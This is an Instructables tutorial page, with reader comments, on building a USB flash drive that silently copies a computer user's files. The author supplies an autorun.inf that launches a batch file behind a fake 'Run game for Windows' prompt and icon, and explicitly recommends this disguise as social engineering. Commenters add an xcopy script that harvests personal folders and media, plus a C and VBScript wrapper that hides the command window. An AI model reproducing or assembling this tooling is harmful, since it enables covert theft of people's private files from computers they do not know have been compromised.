3 Simple Ways to
Share What You Make

With Instructables you can share what you make with the world — and tap into an ever-growing community of creative experts.

PhotosPhotos

Share one or more photos of a project, recipe, or whatever you've made, quickly and easily.

Step by StepStep-By-Step

Share your step-by-step photos with text instructions of what you made so others can do it too!

VideoVideo

Share your how-to video. You'll need your embed code from a video site such as YouTube.

How to make flash drive that copy's users files silently and automatically

Step 2Create autorun file for the flash drive

Create autorun file for the flash drive
Ok there is no order in the file creation process just that you have all files created and on the flash drive. I will start out with the autorun.inf. This file is used when you insert the flash drive into said computer. Also used to change the thumb drive icon to something more acceptable for social engineering.

Here is the code, you will have to open a simple word editor such as word, you can past this code into word and edit to your hearts content.

[autorun]
icon=drive.ico
open=launch.bat
action=Click ok to Run game for Windows
shell\open\command=launch.bat

a couple of notes
the code is between the lines not the lines at all so dont put them in your autorun file. also when you save this file after editing or pasing this in the editor make shure you save it as all files and put a .inf after it... like this autorun.inf

look at pic two if you have any issues.

You can change the icon to your tastes what you will have to do is find a .png a png file is an icon file. Anyways just save it to the drive name it drive.ico next time you pull the drive out and put it in you will have your custom icon. Great for social engineering if the situation arises, makes it much less of an issue to have someone click a file on the drive if it looks like a game or something.

next is the open= command this code takes the launch batch file and opens it.. more on the launch batch file later.

next it action= this can change to suit your needs, when the autorun launches it sometimes may ask the user what to open dependent on what you put here is what the user will think he is clicking on in the code above it tells the user to click here to run game for windows. This code acts as a backup just in case the user is asked what to open.

The shell/open command also acts as a backup in case the user clicks cancel instead of open when prompted... this code will execute when the drive letter is clicked on. No user can hold back on seeing what is in a random flash drive. That is the basis for this code.
« Previous StepDownload PDFView All StepsNext Step »
20 comments
Feb 10, 2012. 11:11 AMminijc says:
can somebody just put the code in that you need
Dec 14, 2010. 7:16 PMaxeman911 says:
srry but really hard to understand
Apr 12, 2009. 5:14 AMjash123 says:
btw i also have a U3 sandisk flash drive...would that be of any benefit?? thanks
Jul 21, 2010. 7:28 AMwingeekkid says:
A U3 drive has a hidden partition that acts as a cd, this hidden cd image runs the U3 program without ANY user input if they have autorun enabled, and runs silently in the background. U3 makes a program that will change the cd image on the flash drive so that you will be able to run another program when the flash drive is inserted. I recommend that you check this instructable out if you want to use your drive.
Jun 24, 2010. 5:09 PMsurpcrepair says:
ok so this is what i want to be able to do can you give me an example of the code if possible... lets use c: as example So i want to copy all .jpg files on c: that are bigger then 60Kb and im assuming if you give me that line i can just change the .jpg to .avi, .bmp, .mp3 whatever and actually even better if you could limit it between specific file sizes like 100kb-120mb so basically i backup restore alot of user computers i want to put in the thump drive it will backup the most common files they will need and i can restore without me wasting my time looking through files and seeing what i need to keep or not. also i am having an issue i have done everything exectly as described but my autorun.inf wont autostart and it wont do anything but open in notepad... im using windows 7
Jul 2, 2010. 5:14 AM010110111 says:
hey please show me what to assign to folder for example if i want any bat file i say" *.bat" and for any file "*.*" what can i say for any folder any whare?? please ur blessed and show me
Jun 24, 2010. 10:03 PMsurpcrepair says:
below is my script i have right now, i was using the other scripts but i really have no point i just double click on file.bat and everything works and i actually want to see whats going on so i turned echo on. I want to have on the bottom part where D:\ begins i want to copy that and have all of the letters scanned except the letter that the thumbdrive is on. I have this on my 16gb sdhc sdcard using a usb adapter. @echo on :: variables SET odrive=%odrive:~0,2% set backupcmd=xcopy /s /c /d /e /h /i /r /y echo on %backupcmd% "%USERPROFILE%\Favorites" "%drive%\backup\favorites" %backupcmd% "%USERPROFILE%\Desktop\*.jpg" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\Desktop\*.jpeg" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\Desktop\*.bmp" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\Desktop\*.3gp" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\Desktop\*.mp4" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\Desktop\*.avi" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\Desktop\*.wmv" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\Contacts" "%drive%\backup\contacts" %backupcmd% "%USERPROFILE%\Links" "%drive%\backup\links" %backupcmd% "%USERPROFILE%\My Documents\My Music" "%drive%\backup\mp3" %backupcmd% "%USERPROFILE%\My Documents\Downloads" "%drive%\backup\downloads" %backupcmd% "%USERPROFILE%\My Music" "%drive%\backup\mp3" %backupcmd% "%USERPROFILE%\My Documents\*.jpg" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\My Documents\*.bmp" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\My Documents\*.avi" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\My Documents\*.mpg" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\My Documents\*.3gp" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\My Documents\*.mp4" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\My Pictures" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\Videos" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\Music" "%drive%\backup\mp3" %backupcmd% "%USERPROFILE%\Downloads" "%drive%\backup\downloads" %backupcmd% "D:\*.jpg" "%drive%\backup\img" %backupcmd% "D:\*.jpeg" "%drive%\backup\img" %backupcmd% "D:\*.bmp" "%drive%\backup\img" %backupcmd% "D:\*.3gp" "%drive%\backup\vid" %backupcmd% "D:\*.mp4" "%drive%\backup\vid" %backupcmd% "D:\*.avi" "%drive%\backup\vid" %backupcmd% "D:\*.wmv" "%drive%\backup\vid" @echo on cls
Sep 22, 2010. 11:18 PMNatrix2494 says:
hmm, is there a simple way i can exclude a specific folder? like say... "AppData"
it just keeps getting in the way.
Jun 24, 2010. 5:59 PMsurpcrepair says:
just to update nevermind its working perfectly this computer is just highly customized and i have all of the autorun and everything off it works great on my other winxp computer.... but is there a way to not have the command box come up and say " CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False " also one more question, i still havent figured out how the do the above part with the sizes but i am having an issues with the pdf files i its taking everything from program files that is pdf and i really dont need those its taking like the pdf install and help files from installed programs is there a way to block specific locations from being copied from or for things like pdf and documents and i going to have to specify folders to look in?
May 11, 2012. 3:22 AMoicvideos says:
You could get a batch to exe converter and most of them have options like run in background so it's an exe file but you can't see the command window when you run it.
Jul 7, 2010. 6:55 PMgreenbean says:
There is in fact a way to not have a command box come up. The way I do it is:
+Write (and compile) a C file that runs your batch file's commands invisibly

     #include <stdio.h>
     #include <windows.h>
     int main()
       {
        system("examplefile.bat");
       return (0);
        }



+Write a VBS file that runs that compiled C program (now a shiny .EXE file)

    Set objSh = CreateObject("Shell.Application")
    objSh.ShellExecute "example-exe-file", "" , "", "", 0

Now make sure they are all in the same directory, unless you want to get more complicated with your code. To start the invisible batch file, run the VBS file.

This works because the VBS file can start a program invisibly, but it can only do this to executables (.EXEs). This doesn't include batch files (.BAT). However, the compiled C file is in fact executable. So the VBS runs the C, which runs the Batch as its own commands (that is to say, invisibly).

For more help, just comment.

By the way, I was about to write an instructable on that, but now I dont think it's necassary.

Jun 24, 2010. 9:58 PMsurpcrepair says:
lol another question... so i want to add multiple drives to my script and i am having an issue where I put like the drive letters I want to scan and copy files from but when it tries to copy/scan on the drive litter that my thumbdrive is on it causes a problem and hangs. how do I get it to not scan the drive that its running on when its scanning for files? sorry so many questions but i have been playing with this thing all night and almost got it the way i want it other then these few things and I have been googleing all over to find out more info but not coming up with much.
Apr 4, 2009. 9:48 AMmsharitt says:
(removed by author or community request)
Apr 21, 2009. 2:54 PMviperbite says:
Yo Bigdaddy, Your step by step instruction is great, but for some reason I can't get this to work as discussed. I am using XP Pro SP3. Any ideas?
Apr 12, 2009. 4:33 AMjash123 says:
guys could you help please...the thing works fine but only after i double click the flash drive..could you please tell me a way in which it would copy automatically after inserting the flash...im using XP by the way...thanks in advance
Apr 4, 2009. 3:38 PMA good name says:
Okay so basically your making it sound like it's going to hack into the computer when realistically your just assuming that no one can resist looking into a flash drive?
Apr 4, 2009. 11:23 PMA good name says:
You just repeated what I just said.
Mar 28, 2009. 11:23 AMWyle_E says:
"...you will have to open a simple word editor such as word...." Seeing that steaming pile of Winbloat referred to as "a simple word editor" was good for a laugh.
Mar 28, 2009. 9:32 PMmemyselfand1 says:
Yeah. Thanks for that, I needed a laugh.
Mar 28, 2009. 3:16 PMwupme says:
Yeah you should definately use somthing like notepad.

Pro

Get More Out of Instructables

Already have an Account?

close

All Steps Viewing
View all steps of an Instructable on the same page when you're a Pro Member.

Upgrade to Pro today!
22
Followers
1
Author:bigdaddyclint